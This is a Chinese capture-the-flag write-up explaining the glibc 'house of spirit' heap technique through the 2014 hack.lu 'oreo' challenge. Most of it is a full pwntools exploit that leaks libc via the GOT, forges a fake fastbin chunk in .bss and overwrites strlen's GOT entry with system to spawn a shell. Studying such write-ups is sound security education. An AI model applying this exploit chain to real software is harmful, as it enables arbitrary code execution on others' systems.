什么是house of spirit?
简单说一下我自己的理解,详细的可以看wiki。
其核心在于在一个任意可写或间接可写的位置伪造一个fake_chunk,然后通过释放该fake_chunk,即可将该fake_chunk连入fastbin中,通过malloc达到分配指定地址chunk的目的。
看道例题:2014 hack.lu oreo
漏洞点:存在堆溢出,chunk未完全free
利用思路:
1.泄露libc: add一个chunk,并且将该chunk的第13个地址位改为任意函数的got表地址,即可泄露libc的基地址
2.构造fake_chunk: 题目中有个在bss段写入数据的函数,并且存在一个指针,这个指针指向0x804a2c0,通过控制fakegun_num,构造fake_chunk,那么下次malloc时,我们就可以编辑fake_chunk从而达到任意地址写的目的。
3.随后修改got表即可getshell
exp:
from pwn import *
p = process("./oreo")
e = ELF("./oreo")
libc = e.libc
p.timeout = 0.01
context.log_level ="debug"
num_addr = 0x804a2a8
def add(name,desc):
p.recvuntil("Action: ")
p.sendline("1")
p.recvuntil("Rifle name: ")
p.sendline(name)
p.recvuntil("Rifle description: ")
p.sendline(desc)
def show_add():
p.recvuntil("Action: ")
p.sendline("2")
def free():
p.recvuntil("Action: ")
p.sendline("3")
def edit_bss(content):
p.recvuntil("Action: ")
p.sendline("4")
p.sendline(content)
def show_stats():
p.recvuntil("Action: ")
p.sendline("5")
def dbg():
gdb.attach(p)
pause()
pl1 = 'a'*(3+20+4)+ p32(e.got['puts'])
add(pl1,'b'*4)
show_add()
p.recvuntil("Description: bbbb\n")
p.recvuntil("Description: ")
puts_addr = u32(p.recv(4))
libc_base = puts_addr - libc.sym["puts"]
sys = libc_base + libc.sym['system']
sh = libc_base + next(libc.search("/bin/sh"))
log.success("puts_addr: "+hex(puts_addr))
count = 1
while (count < 0x40-1):
add('a'*4,'b'*4)
count+=1
add("a"*(27)+p32(0x804a2a8),"b"*4)
pl2 = '\x00'*(0x20) + p32(0x40) + p32(0x100)
edit_bss(pl2)
free()
pl3 = p32(e.got["strlen"]).ljust(20,'a')
add('a'*(20),pl3)
gad = libc_base + 0x3ac6c
edit_bss(p32(sys)+";/bin/sh\x00")
p.interactive()